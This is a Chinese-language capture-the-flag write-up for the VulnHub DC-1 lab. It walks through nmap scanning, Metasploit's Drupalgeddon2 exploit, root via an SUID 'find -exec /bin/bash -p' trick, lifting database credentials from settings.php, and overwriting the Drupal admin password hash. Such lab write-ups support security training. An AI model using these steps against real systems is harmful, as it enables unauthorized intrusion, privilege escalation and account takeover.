vulnhub DC1 靶场练习
vulnhub DC1 靶场练习
前提准备
kali:攻击机
DC1:靶机
两个虚拟机以nat模式连接
收集信息
查看本机ip
1 | ifconfig |
nmap扫描靶机ip
1 | nmap 192.168.222.0/24 |
通过nmap寻找到靶机的地址为192.168.222.137
对靶机进行更详细的扫描
1 | nmap -A -sV --min-parallelism 200 192.168.222.137 |
–min-parallelism 代表调整探测报文的并行度,也就是在扫描同一台主机时会发送很多个探测数据包,这个参数指定的数即nmap一次至少要发多少个数据包。
收集的信息还比较多,有80端口,22端口,111端口,还收集到了该网站用的cms是Drupal 7
通过浏览器打开这个网站看看,访问192.168.222.137
没有发现什么有价值的东西
漏洞利用
通常情况下,cms会存在比较多的漏洞,在cms中寻找突破口也是比较简单的。接下来我们就用msf来搜索一下该cms存在的漏洞。
1 | msfconsole //启动msfconsole |
尝试利用18年的那个漏洞exploit/unix/webapp/drupal_drupalgeddon2
1 | use 4 |
发现权限为www-data
接下来就获取一个交互式的shell,这次获取交互式shell的方法是通过python来调用bash
1 | shell |
ls
列出当前目录,发现flag1.txt
cat flag1.txt
flag1中有提示配置文件,下一个flag的地方应该在配置文件中能找到线索
提权
我们先不急着找flag2,尝试一下suid提权。
寻找具有s权限的文件
1 | find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null |
-perm 是代表按指定权限搜索。
-u=s 其中u代表当前用户的权限,s代表suid权限,-号代表至少需要满足指定的权限,可以有更多的权限,但是不能少了这个指定权限。
-type 代表搜索指定的类型,f代表文件。
-exec 代表搜索完后执行指定的命令,其中{}代表所搜到的结果,命令以;为结束标识。
-2>/dev/null 代表将不显示错误信息
成功找到了一个find
,通过find
可以和容易的提示至root权限,看来suid提权在linux中还是非常普遍的。
通过suid提权
1 | echo >a |
echo >a 是创建一个文件,提供给find来搜索。因为find每找到一个文件就会执行一次命令,为了让find只执行一次,所以创建一个独特的文件供find搜索。
发现没有提权成功,原因是执行/bin/sh能提权成功。因为sh指向的文件时/bin/dash,这两个都能执行shell命令,但是dash是个简易版的shell执行程序。因为/bin/bash 比较高级,所以它考虑的事就会多一点,它会在执行时强制把euid(suid)转化成当前用户的uid,也就是不以root权限执行。但是加一个参数-p的话就不会强制转化euid了。如下图所示,加上参数-p即可提权成功。
1 | find a -exec /bin/bash -p \; |
提权成功,拿下root权限
1 | cd /root |
成功拿下最终的flag
获取网站的管理员权限
获取mysql的账号密码
刚刚拿到flag1时提示说配置文件。
上网搜了一下Drupal的配置文件为sites/default/settings.php
那我们进入var/www/sites/default/settings.php
即可
1 | cd ../ |
在这个文件下发现了账号dbuser
,密码R0ck3t
。直接连接mysql数据库并查询用户数据。注意flag2也在这个文件中。
flag2:
1 | mysql -udbuser -pR0ck3t |
-u 后面是账号,-p 后面是密码,不用加空格。
连接mysql数据库,进行数据查询
注意mysql中的命令都需要分号结尾;
1 | show databases; //查看有哪些数据库 |
1 | use drupaldb; //选择drupaldb数据库 |
1 | show tables; //查看drupaldb中有哪些表 |
1 | select * from users; //查询users表中所有数据 |
通过查询users
表中的账号得知admin的
密码是$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR,
但是这种密文与linux中系统账号的密文十分类似。仔细分析,又与系统账号的加密方式不同,这个应该是采用了独特的加密方式,下一步可以在网站目录里面找找有没有加密的脚本文件。
获取加密脚本
经过查找,发现网站的目录下有一个scripts
的文件夹,这个名字就很脚本。最终在这个目录里面发现一个名为password-hash.sh
的脚本文件,该文件应该就是密码的加密脚本了。
找到脚本后去网站根目录执行脚本
1 | cd /var/www |
执行成功,将admin
加密成$S$DIInYBU8F4j4joLPO.TTKpfETyjsBy2zY0gqbhHbMTVrsw8F31wp
将管理员密码修改成admin对应的密文
执行下面命令:
1 | mysql -udbuser -pR0ck3t //连接数据库 |
更新成功,直接上网站登录管理员账号,账号密码即为我们修改成功的admin
成功登录网站
点击Dashboard发现flag3,点击即可获取
提示passwd
,在etc目录下发现passwd文件
1 | cat /etc/paasswd |
直接拿下flag4
1 | cd /home/flag4 |
到这该靶机五个flag全部拿下,也学到了不少知识
参考链接
http://t.zoukankan.com/ph1sh-p-12333122.html
https://blog.csdn.net/rpsate/article/details/119548421?spm=1001.2014.3001.5501